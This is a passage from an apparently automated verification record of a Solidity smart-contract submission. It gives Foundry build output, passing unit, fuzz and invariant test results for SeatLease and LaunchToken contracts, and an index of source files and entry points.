(gas: 888584)\n[PASS] test_isValidSignature_isPureOfCallerAndSeatOwner() (gas: 519542)\n[PASS] test_isValidSignature_ownerSignatureNeverPairsEvenWhenOwnerOperates() (gas: 427156)\n[PASS] test_isValidSignature_rejectsAtExactExpiry() (gas: 496156)\n[PASS] test_isValidSignature_rejectsCompactAndZeroSignatures() (gas: 535516)\n[PASS] test_isValidSignature_rejectsFieldTamperedAfterSigning() (gas: 614888)\n[PASS] test_isValidSignature_rejectsWalletOfAnotherRegistryOverTheSameNft() (gas: 486117)\n[PASS] test_nftTransferAfterDepositDoesNotChangeSeatOwner() (gas: 372685)\n[PASS] test_quit_twiceRevertsAndReturnsBondOnce() (gas: 543507)\n[PASS] test_receive_rejectsEthOutsideClaimEvenFromOwnerAndOperator() (gas: 512225)\n[PASS] test_redeemBond_twiceRevertsSecondTime() (gas: 1402278)\n[PASS] test_sweep_afterOracleCutPaysEverythingToOwner() (gas: 806474)\n[PASS] test_sweep_oneBpsOnSmallAmountPaysOwnerNothing() (gas: 697194)\n[PASS] test_sweep_oneSeatLeavesTheOtherSeatsBalanceIntact() (gas: 1064608)\n[PASS] test_sweep_oneWeiAtHalfGoesToOperator() (gas: 697206)\n[PASS] test_sweep_operatorWhoQuitGetsNothingFromLaterSweep() (gas: 728285)\n[PASS] test_sweep_twiceRevertsSecondTime() (gas: 548972)\n[PASS] test_sweep_usesTermsAtSweepTimeNotAtCreditTime() (gas: 653849)\n[PASS] test_take_bondAmountRaisedWhileVacantAppliesToNextOperator() (gas: 733973)\n[PASS] test_take_openRevertsWhenCallerCannotCoverBond() (gas: 427657)\n[PASS] test_take_permissionedWithZeroAllowedOperatorIsUntakeable() (gas: 390554)\nSuite result: ok. 60 passed; 0 failed; 0 skipped; finished in 248.11ms (2.98s CPU time)\n\nRan 1 test for test/SeatLease.invariants.t.sol:SeatLeaseInvariantTest\n[PASS]\nSeatLeaseInvariantTest invariants:\n[PASS] invariant_bondOnlyWhileOccupied\n[PASS] invariant_nftHeldIffDeposited\n[PASS] invariant_solvent\n[PASS] invariant_sweptNeverExceedsCredited\n SeatLeaseInvariantTest invariants (runs: 64, calls: 2048, reverts: 0)\n\n╭----------+----------+-------+---------+----------╮\n| Contract | Selector | Calls | Reverts | Discards |\n+==================================================+\n| Handler  | claim    | 226   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | credit   | 257   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | cut      | 271   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | deposit  | 279   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | quit     | 247   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | sweep    | 259   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | take     | 252   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | withdraw | 257   | 0       | 0        |\n╰----------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 1135\n  Bound result 207459965964823249381\n  Bound result 11\n  Bound result 1000000000000000000000\n  Bound result 7315\n  Bound result 5919\n  Bound result 32\n  Bound result 1740\n  Bound result 1165\n  Bound result 3714247998\n  Bound result 3021\n  Bound result 999999999999999999991\n  Bound result 2\n  Bound result 8\n  Bound result 18\n  Bound result 655\n  Bound result 826074470\n  Bound result 8\n  Bound result 785\n  Bound result 400\n  Bound result 32\n  Bound result 2296095462\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.13s (1.12s CPU time)\n\nRan 1 test for test/SeatLease.stateful.t.sol:SeatLeaseStatefulInvariantTest\n[PASS]\nSeatLeaseStatefulInvariantTest invariants:\n[PASS] invariant_bondOnlyForOccupiedOpenSeats\n[PASS] invariant_bookedTotalsMatchSeatBookings\n[PASS] invariant_erc1271MirrorsOperators\n[PASS] invariant_nftCustody\n[PASS] invariant_solventPerAsset\n[PASS] invariant_usedRequestsStayUsed\n SeatLeaseStatefulInvariantTest invariants (runs: 96, calls: 6144, reverts: 0)\n\n╭-----------------+-------------+-------+---------+----------╮\n| Contract        | Selector    | Calls | Reverts | Discards |\n+============================================================+\n| StatefulHandler | claim       | 586   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | credit      | 545   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | cut         | 517   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | cutByOracle | 567   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | deposit     | 504   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | donate      | 545   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | quit        | 563   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | setTerms    | 577   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | sweep       | 551   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | take        | 592   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | withdraw    | 597   | 0       | 0        |\n╰-----------------+-------------+-------+---------+----------╯\n\nLogs:\n  Bound result 332349110494914368357\n  Bound result 9999\n  Bound result 899935370103669338637\n  Bound result 105\n  Bound result 98861889717191634726\n  Bound result 1724\n  Bound result 12715\n  Bound result 3\n  Bound result 9\n  Bound result 9999\n  Bound result 0\n  Bound result 241295418\n  Bound result 13974\n  Bound result 3387\n  Bound result 719206527\n  Bound result 107\n  Bound result 10289\n  Bound result 6471\n  Bound result 12744\n  Bound result 5\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 15.23s (15.23s CPU time)\n\nRan 8 test suites in 15.24s (17.60s CPU time): 199 tests passed, 0 failed, 0 skipped (199 total tests)\n","passed":true},{"durationMs":106,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"LaunchToken.approve(address,uint256)\",\"LaunchToken.transfer(address,uint256)\",\"LaunchToken.transferFrom(address,address,uint256)\",\"SeatLease.claim(uint256,address,bytes,address[])\",\"SeatLease.credit(uint256,address,uint256)\",\"SeatLease.cut(uint256)\",\"SeatLease.cutByOracle(uint256,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint64,uint64),bytes)\",\"SeatLease.deposit(uint256,uint16,uint8,address,uint256,address,bytes32,string)\",\"SeatLease.quit(uint256)\",\"SeatLease.receive()\",\"SeatLease.redeemBond()\",\"SeatLease.setTerms(uint256,uint16,uint8,address,uint256,address,bytes32,string)\",\"SeatLease.sweep(uint256,address)\",\"SeatLease.take(uint256)\",\"SeatLease.withdraw(uint256)\"],\"files\":{\".gas-snapshot\":141,\"foundry.toml\":48,\"remappings.txt\":2,\"script/Deploy.s.sol\":69,\"src/LaunchToken.sol\":17,\"src/SeatLease.sol\":649,\"src/mocks/MockDistributor.sol\":44,\"src/mocks/MockERC20.sol\":13,\"src/mocks/MockSeatNFT.sol\":13,\"test/Deploy.t.sol\":101,\"test/LaunchToken.t.sol\":35,\"test/SeatLease.adversarial.t.sol\":941,\"test/SeatLease.invariants.t.sol\":235,\"test/SeatLease.lifecycle.t.sol\":633,\"test/SeatLease.rewards.t.sol\":555,\"test/SeatLease.signatures.t.sol\":382,\"test/SeatLease.stateful.t.sol\":484,\"test/utils/Actors.sol\":230,\"test/utils/Base.sol\":191},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"bf0bed1321d1230687cf4ea9a29d7cd41a2a743eada2d7ba9ad88761b8666c3f","verifiedTreeHash":"2418dc4823353f36052374d99ea10dd5547dfe04","verifierVersion":"0.1.0+042c10fc"},{"checks":[{"durationMs":5039,"exitCode":0,"name":"build","output":"Compiling 68 files with Solc 0.8.26\nSolc 0.8.26 finished in 4.89s\nCompiler run successful!\n","passed":true},{"durationMs":9923,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 33 tests for test/SeatLease.signatures.t.sol:SeatLeaseSignaturesTest\n[PASS] testFuzz_cutByOracle_onlyOracleKeyPasses(uint256) (runs: 256, μ: 76764, ~: 76744)\nLogs:\n  Bound result 5131\n\n[PASS] testFuzz_isValidSignature_arbitraryBytesNeverPass(bytes,bytes32) (runs: 256, μ: 13219, ~: 13215)\n[PASS] testFuzz_isValidSignature_onlyOperatorKeyPasses(uint256) (runs: 256, μ: 40466, ~: 40443)\nLogs:\n  Bound result 5131\n\n[PASS] test_cutByOracle_attestationForAnotherRegistryIsRejected() (gas: 117433)\n[PASS] test_cutByOracle_forfeitsBondToOwner() (gas: 210419)\n[PASS] test_cutByOracle_permissionedSeatForfeitsNothing() (gas: 269320)\n[PASS] test_cutByOracle_rejectsExpired() (gas: 190603)\n[PASS] test_cutByOracle_rejectsFalseAnswer() (gas: 61489)\n[PASS] test_cutByOracle_rejectsMalformedSignature() (gas: 61469)\n[PASS] test_cutByOracle_rejectsNonBoolType() (gas: 56014)\n[PASS] test_cutByOracle_rejectsOddAnswerEncodings() (gas: 173860)\n[PASS] test_cutByOracle_rejectsSeatWithoutOracle() (gas: 295896)\n[PASS] test_cutByOracle_rejectsTamperedAttestation() (gas: 70356)\n[PASS] test_cutByOracle_rejectsVacantAndUndeposited() (gas: 142695)\n[PASS] test_cutByOracle_rejectsWrongChainId() (gas: 59459)\n[PASS] test_cutByOracle_rejectsWrongQuestion() (gas: 61224)\n[PASS] test_cutByOracle_rejectsWrongSigner() (gas: 131023)\n[PASS] test_cutByOracle_replayIsRejected() (gas: 425575)\n[PASS] test_decodeAuthorization_roundTrips() (gas: 20342)\n[PASS] test_isValidSignature_acceptsOperatorSignedAuthorization() (gas: 47537)\n[PASS] test_isValidSignature_domainMatchesNetworkParameters() (gas: 11217)\n[PASS] test_isValidSignature_rejectsAfterCut() (gas: 82037)\n[PASS] test_isValidSignature_rejectsBadOperatorSignatures() (gas: 92231)\n[PASS] test_isValidSignature_rejectsCrossSeatReplayOfBlob() (gas: 32913)\n[PASS] test_isValidSignature_rejectsDigestMismatch() (gas: 53264)\n[PASS] test_isValidSignature_rejectsExpired() (gas: 56165)\n[PASS] test_isValidSignature_rejectsMalformedBytes() (gas: 146190)\n[PASS] test_isValidSignature_rejectsNonOperatorSigner() (gas: 61140)\n[PASS] test_isValidSignature_rejectsOtherChain() (gas: 31345)\n[PASS] test_isValidSignature_rejectsTrailingAndNonCanonicalBytes() (gas: 111411)\n[PASS] test_isValidSignature_rejectsVacantSeat() (gas: 108163)\n[PASS] test_isValidSignature_rejectsWrongTokenId() (gas: 372327)\n[PASS] test_isValidSignature_rejectsWrongWallet() (gas: 32137)\nSuite result: ok. 33 passed; 0 failed; 0 skipped; finished in 108.76ms (110.71ms CPU time)\n\nRan 3 tests for test/LaunchToken.t.sol:LaunchTokenTest\n[PASS] test_fixedSupplyMintedToDeployer() (gas: 70237)\n[PASS] test_noMintFunction() (gas: 35726)\n[PASS] test_transferMovesExactAmount() (gas: 84880)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 165.84ms (714.33µs CPU time)\n\nRan 5 tests for test/Deploy.t.sol:DeployTest\n[PASS] test_deploy_mixedMocks() (gas: 3932675)\n[PASS] test_deploy_refusesMocksOnMainnet() (gas: 34870)\n[PASS] test_deploy_requiresAddressesWithoutMocks() (gas: 62789)\n[PASS] test_deploy_withExistingAddresses() (gas: 3504564)\n[PASS] test_deploy_withMocks() (gas: 4822402)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 165.88ms (1.26ms CPU time)\n\nRan 47 tests for test/SeatLease.rewards.t.sol:SeatLeaseRewardsTest\n[PASS] testFuzz_anyoneCanCreditAndSweep(address,uint256) (runs: 256, μ: 823744, ~: 824069)\nLogs:\n  Bound result 10855\n\n[PASS] testFuzz_sweepEthSplit(uint16,uint96) (runs: 256, μ: 591966, ~: 592925)\nLogs:\n  Bound result 447\n\n[PASS] testFuzz_sweepSplit(uint16,uint256) (runs: 256, μ: 723294, ~: 724645)\nLogs:\n  Bound result 447\n  Bound result 5882099143410933166695\n\n[PASS] test_claim_booksEthAndTokenWhenBothListed() (gas: 581695)\n[PASS] test_claim_booksEthEvenWhenNotListed() (gas: 472125)\n[PASS] test_claim_booksTokenIncrease() (gas: 749221)\n[PASS] test_claim_cannotDrainBookedEthByTargetingZeroAddress() (gas: 418719)\n[PASS] test_claim_duplicateEthAndTokenEntriesBookOnce() (gas: 586682)\n[PASS] test_claim_duplicateTokenEntriesBookOnce() (gas: 1074263)\n[PASS] test_claim_ethFromPlainPayerIsBooked() (gas: 574022)\n[PASS] test_claim_forbidsNftBondSelfAndBookedTokens() (gas: 612385)\n[PASS] test_claim_forbidsTargetWithoutCode() (gas: 338400)\n[PASS] test_claim_forbidsTokenTargetEvenWhenNothingBooked() (gas: 1764616)\n[PASS] test_claim_reentrancyIntoSweepClaimAndCutIsBlocked() (gas: 1585106)\n[PASS] test_claim_reentrantWithdrawIsBlocked() (gas: 771184)\n[PASS] test_claim_rejectsSeatNftInTokenList() (gas: 351837)\n[PASS] test_claim_revertsForNonOwner() (gas: 483867)\n[PASS] test_claim_revertsWhenListedBalanceDecreases() (gas: 1287063)\n[PASS] test_claim_revertsWhenNftLeaves() (gas: 957107)\n[PASS] test_claim_revertsWhenNotDeposited() (gas: 43802)\n[PASS] test_claim_revertsWhenTargetReverts() (gas: 364908)\n[PASS] test_claim_zeroGainBooksNothing() (gas: 389664)\n[PASS] test_credit_erc20BooksToSeat() (gas: 504223)\n[PASS] test_credit_ethBooksToSeat() (gas: 410786)\n[PASS] test_credit_feeOnTransferBooksReceivedAmount() (gas: 1140302)\n[PASS] test_credit_isReentrancyGuardedViaClaim() (gas: 814592)\n[PASS] test_credit_rejectsSeatNftAsToken() (gas: 474527)\n[PASS] test_credit_revertsOnEthValueMismatch() (gas: 340674)\n[PASS] test_credit_revertsOnEthWithErc20() (gas: 343016)\n[PASS] test_credit_revertsOnZeroAmount() (gas: 335818)\n[PASS] test_credit_revertsWhenNotDeposited() (gas: 46951)\n[PASS] test_credit_revertsWhenNothingArrives() (gas: 821826)\n[PASS] test_credit_revertsWithoutAllowance() (gas: 345188)\n[PASS] test_mockDistributor_fundingAndFailedPayout() (gas: 218326)\n[PASS] test_sweep_allToOperatorAt0() (gas: 780154)\n[PASS] test_sweep_allToOwnerAt10000() (gas: 766499)\n[PASS] test_sweep_allToOwnerWhenVacant() (gas: 662569)\n[PASS] test_sweep_bondTokenAsRewardDoesNotTouchBond() (gas: 765399)\n[PASS] test_sweep_erc20SplitsAt5000() (gas: 829467)\n[PASS] test_sweep_ethSplitsAt5000() (gas: 759143)\n[PASS] test_sweep_isReentrancyGuarded() (gas: 843094)\n[PASS] test_sweep_revertsWhenNotDeposited() (gas: 39890)\n[PASS] test_sweep_revertsWhenNothingBooked() (gas: 335356)\n[PASS] test_sweep_revertsWhenOperatorRejectsEth() (gas: 834832)\n[PASS] test_sweep_revertsWhenOwnerRejectsEth() (gas: 556698)\n[PASS] test_sweep_roundsDustToOperator() (gas: 704205)\n[PASS] test_sweep_unsweptBalanceGoesToOwnerAfterCut() (gas: 813135)\nSuite result: ok. 47 passed; 0 failed; 0 skipped; finished in 165.83ms (328.77ms CPU time)\n\nRan 56 tests for test/SeatLease.lifecycle.t.sol:SeatLeaseLifecycleTest\n[PASS] testFuzz_bondRoundTrip(uint256) (runs: 256, μ: 578094, ~: 578069)\nLogs:\n  Bound result 767126128630272747611\n\n[PASS] testFuzz_onlyOperatorCanQuit(address) (runs: 256, μ: 480240, ~: 480240)\n[PASS] testFuzz_onlyOwnerCanAdminister(address) (runs: 256, μ: 423925, ~: 423925)\n[PASS] testFuzz_termsValidation(uint16,uint16) (runs: 256, μ: 211647, ~: 241911)\nLogs:\n  Bound result 102\n\n[PASS] test_constructor_recordsParameters() (gas: 56806)\n[PASS] test_constructor_rejectsZeroAddresses() (gas: 6598)\n[PASS] test_cut_escrowsBondWhenTransferReverts() (gas: 1486443)\n[PASS] test_cut_returnsBondToOperator() (gas: 590397)\n[PASS] test_cut_revertsForNonOwner() (gas: 479923)\n[PASS] test_cut_revertsWhenNotDeposited() (gas: 39846)\n[PASS] test_cut_revertsWhenVacant() (gas: 333652)\n[PASS] test_deposit_acceptsMaxListing() (gas: 367968)\n[PASS] test_deposit_recordsOwnerTermsAndHoldsNft() (gas: 352822)\n[PASS] test_deposit_rejectsHookForDifferentTokenId() (gas: 808461)\n[PASS] test_deposit_rejectsHookFromStrangerDuringDeposit() (gas: 817864)\n[PASS] test_deposit_revertsOnBadBps() (gas: 126061)\n[PASS] test_deposit_revertsOnLongListing() (gas: 127674)\n[PASS] test_deposit_revertsWhenAlreadyDeposited() (gas: 334232)\n[PASS] test_deposit_revertsWhenCallerDoesNotOwnNft() (gas: 50416)\n[PASS] test_deposit_revertsWhenNftDidNotArrive() (gas: 806580)\n[PASS] test_deposit_revertsWithoutApproval() (gas: 231941)\n[PASS] test_deposit_worksWithMinimalNft() (gas: 785306)\n[PASS] test_onERC721Received_rejectsDirectCall() (gas: 14026)\n[PASS] test_onERC721Received_rejectsDirectTransferOfSeatNft() (gas: 88219)\n[PASS] test_onERC721Received_rejectsOtherCollections() (gas: 145028)\n[PASS] test_quit_acceptsTransferReturningNothing() (gas: 1303941)\n[PASS] test_quit_escrowsBondWhenTransferReturnsFalse() (gas: 1303018)\n[PASS] test_quit_escrowsBondWhenTransferReturnsShortData() (gas: 1317091)\n[PASS] test_quit_permissionedReturnsNothing() (gas: 400152)\n[PASS] test_quit_returnsBondAndClearsOperator() (gas: 561079)\n[PASS] test_quit_revertsForNonOperator() (gas: 512600)\n[PASS] test_quit_revertsWhenVacantOrUnknown() (gas: 364343)\n[PASS] test_receive_revertsOnPlainEth() (gas: 41749)\n[PASS] test_redeemBond_revertsWhenNothingOwed() (gas: 39654)\n[PASS] test_redeposit_afterWithdrawStartsClean() (gas: 725215)\n[PASS] test_seatCanBeRetakenAfterQuit() (gas: 676698)\n[PASS] test_setTerms_revertsForNonOwner() (gas: 330639)\n[PASS] test_setTerms_revertsOnBadBpsAndListing() (gas: 362082)\n[PASS] test_setTerms_revertsWhenNotDeposited() (gas: 36775)\n[PASS] test_setTerms_revertsWhenOccupied() (gas: 478853)\n[PASS] test_setTerms_updatesVacantSeat() (gas: 406479)\n[PASS] test_take_isReentrancyGuarded() (gas: 1164569)\n[PASS] test_take_open_anyoneMayTake() (gas: 475199)\n[PASS] test_take_open_feeOnTransferBondRecordsActualAmount() (gas: 1203134)\n[PASS] test_take_open_pullsBondAndSetsOperator() (gas: 518003)\n[PASS] test_take_open_revertsWithoutAllowance() (gas: 346776)\n[PASS] test_take_open_zeroBondPullsNothing() (gas: 388789)\n[PASS] test_take_permissioned_ignoresBondAmount() (gas: 385694)\n[PASS] test_take_permissioned_onlyAllowedOperator() (gas: 448554)\n[PASS] test_take_revertsWhenNotDeposited() (gas: 39768)\n[PASS] test_take_revertsWhenOccupied() (gas: 531112)\n[PASS] test_withdraw_afterQuitAndCut() (gas: 588914)\n[PASS] test_withdraw_returnsNftAndClearsSeat() (gas: 425687)\n[PASS] test_withdraw_revertsForNonOwner() (gas: 333650)\n[PASS] test_withdraw_revertsWhenNotDeposited() (gas: 39789)\n[PASS] test_withdraw_revertsWhenOccupied() (gas: 490059)\nSuite result: ok. 56 passed; 0 failed; 0 skipped; finished in 165.92ms (286.86ms CPU time)\n\nRan 67 tests for test/SeatLease.adversarial.t.sol:SeatLeaseAdversarialTest\n[PASS] testFuzz_claim_booksExactlyWhatArrived(uint96,uint96) (runs: 512, μ: 616026, ~: 618330)\nLogs:\n  Bound result 822657110090974575391\n  Bound result 4264337585621134081\n\n[PASS] testFuzz_claim_repeatedListingsBookTheGainOnce(uint8,uint96,uint96) (runs: 512, μ: 644226, ~: 642412)\nLogs:\n  Bound result 5\n  Bound result 11992\n  Bound result 4264337585621134084\n\n[PASS] testFuzz_credit_requiresDepositedSeat(uint256,uint96) (runs: 512, μ: 348401, ~: 348368)\nLogs:\n  Bound result 79228162514264337593543950332\n\n[PASS] testFuzz_cutByOracle_answerMustBeExactlyTrue(bytes,uint8) (runs: 512, μ: 525001, ~: 524735)\n[PASS] testFuzz_cutByOracle_anyCallerMaySubmit(address) (runs: 512, μ: 623694, ~: 623694)\n[PASS] testFuzz_cutByOracle_chainAndQuestionMustMatch(uint256,bytes32) (runs: 512, μ: 542250, ~: 542288)\n[PASS] testFuzz_cutByOracle_expiryBoundary(uint64,uint64) (runs: 512, μ: 542326, ~: 569936)\nLogs:\n  Bound result 18446744073709551612\n\n[PASS] testFuzz_isValidSignature_expiryBoundary(uint64,uint64) (runs: 512, μ: 476018, ~: 478796)\nLogs:\n  Bound result 6583349863\n\n[PASS] testFuzz_isValidSignature_forgedOperatorSignatureNeverPasses(bytes32,bytes32,uint8) (runs: 512, μ: 479263, ~: 483230)\n[PASS] testFuzz_isValidSignature_onlyTheNamedSeatPairs(uint256) (runs: 512, μ: 471137, ~: 471116)\n[PASS] testFuzz_sweep_splitNeverLosesOrCreatesValue(uint16,uint256) (runs: 512, μ: 767711, ~: 768649)\nLogs:\n  Bound result 2449\n  Bound result 340282366920938463463374607431768211452\n\n[PASS] testFuzz_sweep_twoSeatsConserveTheirOwnBalances(uint16,uint16,uint96,uint96) (runs: 512, μ: 1426232, ~: 1431555)\nLogs:\n  Bound result 0\n  Bound result 27\n  Bound result 79228162514264337593543950335\n  Bound result 79228162514264337593543950335\n\n[PASS] testFuzz_sweep_vacantPaysOwnerRegardlessOfBps(uint16,uint96,bool) (runs: 512, μ: 520798, ~: 589522)\nLogs:\n  Bound result 182\n  Bound result 4161\n\n[PASS] testFuzz_take_openBondRoundTripForAnyTaker(address,uint256) (runs: 512, μ: 640305, ~: 642201)\nLogs:\n  Bound result 218040022573836811\n\n[PASS] testFuzz_take_permissionedOnlyAllowedCaller(address,address) (runs: 512, μ: 410171, ~: 410175)\n[PASS] testFuzz_withdraw_onlyWhileVacantAndOnlyByOwner(address,bool) (runs: 512, μ: 416076, ~: 489056)\n[PASS] test_claim_allowsTargetWhoseFallbackAnswersShortOrReverts() (gas: 1040741791)\n[PASS] test_claim_bondTokenRewardIsBookedApartFromHeldBond() (gas: 988022)\n[PASS] test_claim_duplicateListingsDoNotHideADecrease() (gas: 1297965)\n[PASS] test_claim_listedAddressWithoutCodeReverts() (gas: 347364)\n[PASS] test_claim_listingTheNftCollectionRevertsBeforeTheTargetIsCalled() (gas: 577835)\n[PASS] test_claim_ownerOfAnotherSeatCannotClaimForThisOne() (gas: 640284)\n[PASS] test_claim_receiveWindowClosesAfterAFailedClaim() (gas: 398131)\n[PASS] test_claim_reentryIntoTakeDepositRedeemAndOracleCutIsBlocked() (gas: 1657281)\n[PASS] test_claim_refusesEveryTargetWithoutCode() (gas: 515713)\n[PASS] test_claim_refusesTargetWhoseFallbackAnswersWithAWord() (gas: 439204)\n[PASS] test_claim_rewardIsBookedToTheClaimingSeatOnly() (gas: 905616)\n[PASS] test_claim_secondClaimBooksOnlyTheNewGain() (gas: 730647)\n[PASS] test_claim_targetCannotPairADeviceThroughOnERC721Received() (gas: 802261)\n[PASS] test_claim_targetCannotSetTermsDuringClaim() (gas: 865103)\n[PASS] test_claim_targetGuardIsEvaluatedFreshOnEveryCall() (gas: 725612)\n[PASS] test_credit_cannotMoveTheDepositedSeatThroughTheErc20Path() (gas: 384988)\n[PASS] test_credit_maxEthValueIsBooked() (gas: 392931)\n[PASS] test_credit_seatNftIsRefusedEvenWhenTheCallerOwnsAndApprovedAnotherSeat() (gas: 552178)\n[PASS] test_credit_seatNftRefusalPrecedesTheValueChecks() (gas: 404286)\n[PASS] test_credit_toOneSeatDoesNotTouchAnother() (gas: 927095)\n[PASS] test_cutByOracle_checksExpiryBeforeSignature() (gas: 500879)\n[PASS] test_cutByOracle_escrowsForfeitedBondWhenOwnerCannotReceive() (gas: 1520884)\n[PASS] test_cutByOracle_rejectsMalleableSignature() (gas: 537775)\n[PASS] test_cutByOracle_rejectsSignatureUnderWorkerDomain() (gas: 538204)\n[PASS] test_cutByOracle_requestIdIsConsumedGloballyAcrossSeats() (gas: 972417)\n[PASS] test_cutByOracle_rotatedSignerInvalidatesOldAttestations() (gas: 566846)\n[PASS] test_cut_twiceRevertsAndReturnsBondOnce() (gas: 534763)\n[PASS] test_deposit_approvedOperatorOfNftCannotDepositForTheHolder() (gas: 112373)\n[PASS] test_deposit_ownerOfOneSeatCannotDepositAnothersSeat() (gas: 184097)\n[PASS] test_isValidSignature_followsOperatorChanges() (gas: 894748)\n[PASS] test_isValidSignature_isPureOfCallerAndSeatOwner() (gas: 522613)\n[PASS] test_isValidSignature_ownerSignatureNeverPairsEvenWhenOwnerOperates() (gas: 429218)\n[PASS] test_isValidSignature_rejectsAtExactExpiry() (gas: 498263)\n[PASS] test_isValidSignature_rejectsCompactAndZeroSignatures() (gas: 539619)\n[PASS] test_isValidSignature_rejectsDirtyHighBitsInStaticWords() (gas: 766975)\n[PASS] test_isValidSignature_rejectsFieldTamperedAfterSigning() (gas: 623136)\n[PASS] test_isValidSignature_rejectsWalletOfAnotherRegistryOverTheSameNft() (gas: 488157)\n[PASS] test_nftTransferAfterDepositDoesNotChangeSeatOwner() (gas: 372674)\n[PASS] test_quit_twiceRevertsAndReturnsBondOnce() (gas: 543485)\n[PASS] test_receive_rejectsEthOutsideClaimEvenFromOwnerAndOperator() (gas: 512192)\n[PASS] test_redeemBond_twiceRevertsSecondTime() (gas: 1402245)\n[PASS] test_sweep_afterOracleCutPaysEverythingToOwner() (gas: 806577)\n[PASS] test_sweep_oneBpsOnSmallAmountPaysOwnerNothing() (gas: 697364)\n[PASS] test_sweep_oneSeatLeavesTheOtherSeatsBalanceIntact() (gas: 1064903)\n[PASS] test_sweep_oneWeiAtHalfGoesToOperator() (gas: 697287)\n[PASS] test_sweep_operatorWhoQuitGetsNothingFromLaterSweep() (gas: 728388)\n[PASS] test_sweep_twiceRevertsSecondTime() (gas: 549097)\n[PASS] test_sweep_usesTermsAtSweepTimeNotAtCreditTime() (gas: 653963)\n[PASS] test_take_bondAmountRaisedWhileVacantAppliesToNextOperator() (gas: 733940)\n[PASS] test_take_openRevertsWhenCallerCannotCoverBond() (gas: 427635)\n[PASS] test_take_permissionedWithZeroAllowedOperatorIsUntakeable() (gas: 390554)\nSuite result: ok. 67 passed; 0 failed; 0 skipped; finished in 166.04ms (2.21s CPU time)\n\nRan 1 test for test/SeatLease.invariants.t.sol:SeatLeaseInvariantTest\n[PASS]\nSeatLeaseInvariantTest invariants:\n[PASS] invariant_bondOnlyWhileOccupied\n[PASS] invariant_nftHeldIffDeposited\n[PASS] invariant_solvent\n[PASS] invariant_sweptNeverExceedsCredited\n SeatLeaseInvariantTest invariants (runs: 64, calls: 2048, reverts: 0)\n\n╭----------+----------+-------+---------+----------╮\n| Contract | Selector | Calls | Reverts | Discards |\n+==================================================+\n| Handler  | claim    | 240   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | credit   | 264   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | cut      | 244   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | deposit  | 269   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | quit     | 255   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | sweep    | 260   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | take     | 253   | 0       | 0        |\n|----------+----------+-------+---------+----------|\n| Handler  | withdraw | 263   | 0       | 0        |\n╰----------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 0\n  Bound result 3237135152\n  Bound result 7291\n  Bound result 18\n  Bound result 3327\n  Bound result 853\n  Bound result 952\n  Bound result 551101676225646784380\n  Bound result 1000\n  Bound result 371636862\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 735.15ms (733.63ms CPU time)\n\nRan 1 test for test/SeatLease.stateful.t.sol:SeatLeaseStatefulInvariantTest\n[PASS]\nSeatLeaseStatefulInvariantTest invariants:\n[PASS] invariant_bondOnlyForOccupiedOpenSeats\n[PASS] invariant_bookedTotalsMatchSeatBookings\n[PASS] invariant_erc1271MirrorsOperators\n[PASS] invariant_nftCustody\n[PASS] invariant_solventPerAsset\n[PASS] invariant_usedRequestsStayUsed\n SeatLeaseStatefulInvariantTest invariants (runs: 96, calls: 6144, reverts: 0)\n\n╭-----------------+-------------+-------+---------+----------╮\n| Contract        | Selector    | Calls | Reverts | Discards |\n+============================================================+\n| StatefulHandler | claim       | 529   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | credit      | 551   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | cut         | 564   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | cutByOracle | 575   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | deposit     | 565   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | donate      | 577   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | quit        | 529   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | setTerms    | 561   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | sweep       | 556   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | take        | 564   | 0       | 0        |\n|-----------------+-------------+-------+---------+----------|\n| StatefulHandler | withdraw    | 573   | 0       | 0        